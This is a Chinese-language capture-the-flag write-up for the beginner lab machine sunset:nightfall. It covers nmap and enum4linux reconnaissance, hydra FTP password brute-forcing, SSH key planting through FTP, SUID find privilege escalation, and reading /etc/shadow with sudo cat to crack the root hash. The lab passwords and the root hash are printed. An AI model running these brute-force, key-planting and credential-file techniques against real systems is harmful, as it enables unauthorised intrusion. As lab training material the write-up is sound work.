靶机信息：
Name: sunset:nightfall
Date release: 29 Aug 2019
Level：beginners
Task：boot2root
关键知识点、工具：
- 信息收集
- nmap扫描
- samba枚举：enum4linux
- 利用
- ftp密码爆破：hydra
- ssh密钥生成：ssh-keygen
- 提权
- SUID提权：find命令
- sudo权限
渗透过程：
网络信息：
靶机IP：192.168.66.95
攻击机IP：192.168.31.227
信息收集
selph@Windows7:~$ nmap -A -T5 192.168.31.95
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-06 20:45 CST
Nmap scan report for 192.168.31.95
Host is up (0.0027s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp pyftpdlib 1.5.5
| ftp-syst:
| STAT:
| FTP server status:
| Connected to: 192.168.31.95:21
| Waiting for username.
| TYPE: ASCII; STRUcture: File; MODE: Stream
| Data connection closed.
|_End of status.
22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
| 2048 a9:25:e1:4f:41:c6:0f:be:31:21:7b:27:e3:af:49:a9 (RSA)
| 256 38:15:c9:72:9b:e0:24:68:7b:24:4b:ae:40:46:43:16 (ECDSA)
|_ 256 9b:50:3b:2c:48:93:e1:a6:9d:b4:99:ec:60:fb:b6:46 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.5.5-10.3.15-MariaDB-1
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.3.15-MariaDB-1
| Thread ID: 15
| Capabilities flags: 63486
| Some Capabilities: SupportsCompression, SupportsTransactions, Support41Auth, Speaks41ProtocolOld, LongColumnFlag, ConnectWithDatabase, IgnoreSigpipes, InteractiveClient, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, ODBCClient, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, FoundRows, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: BFzRmMy<]>^@cQKe<<Uv
|_ Auth Plugin Name: mysql_native_password
Service Info: Host: MIWIFI-R4-SRV; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h19m58s, deviation: 2h18m33s, median: -1s
|_nbstat: NetBIOS name: MIWIFI-R4-SRV, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: \x00
| NetBIOS computer name: MIWIFI-R4-SRV\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2020-07-06T08:45:21-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-07-06T12:45:22
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.40 seconds
目标开启了21，22，80，139，445，3306端口。
访问80端口发现是个apache2的默认页面，进行目录扫描：没有收获
看到samba服务，进行samba枚举：
selph@Windows7:~$ enum4linux 192.168.31.95
# 由于信息过多，此处摘出关键信息：
S-1-22-1-1000 Unix User\nightfall (Local User)
S-1-22-1-1001 Unix User\matt (Local User)
得知该服务器有nightfall ，matt两个账号，将账号存下来；samba匿名共享无有用信息。
剩下待测端口还有：21，22，3306
FTP密码爆破
已知目标用户账号，爆破FTP：
selph@Windows7:~/桌面/sunset-nightfall$ hydra -L username.txt -P ../rockyou.txt ftp://192.168.31.95
得知用户matt 的密码为 cheese。
尝试进行登录：ssh登录失败；mysql登录失败，ftp登录成功。
selph@Windows7:~/桌面/sunset-nightfall$ ftp 192.168.31.95
这个文件目录很眼熟，像是Linux的用户目录，在此推测这是目标的用户目录。
经测试，该目录可读可写。
SSH远程登录
到此，接下来做什么就有点没思路了，参考1nslght老哥的WP得知，可以创建authorized_keys上传密钥进行ssh登录
authorized_keys文件指定ssh可用于登录的用户的ssh密钥，这里在本地生成密钥然后上传公钥到目标服务器上即可
1nslght博客原文：https://blog.csdn.net/weixin_44214107/article/details/102617065
生成公钥：
上传公钥：
SSH远程登录：
提权到nightfall
查看能sudo执行的命令：查询不了。
查看kernel版本查找提权exp：未果。
查找SUID的文件：
SUID标识的文件可以让低权限用户通过高权限来使用该文件（Linux下一切皆文件）
发现find命令，find命令提权：
获取 Flag1：user.txt：
进入nightfall的主目录创建.ssh目录，创建一个authorized_keys文件，向里面添加ssh公钥，就和之前一样的流程，然后通过ssh连接拿到nightfall 的 shell：
前面不小心把靶机给弄没了，这里又新弄了一遍，靶机IP为：192.168.31.31
提权到root
查看能sudo执行的命令：
sudo -l
可以免密码使用root权限的命令为：cat
cat命令好像不能直接提权，但是能读取shadow文件：
sudo cat /etc/shadow
得到root密码密文：
root:$6$JNHsN5GY.jc9CiTg$MjYL9NyNc4GcYS2zNO6PzQNHY2BE/YODBUuqsrpIlpS9LK3xQ6coZs6lonzURBJUDjCRegMHSF5JwCMG1az8k.:18134:0:99999:7:::
使用john离线破解：
破解得root密码为miguel2。
切换当前用户至root：
拿到最终flag：
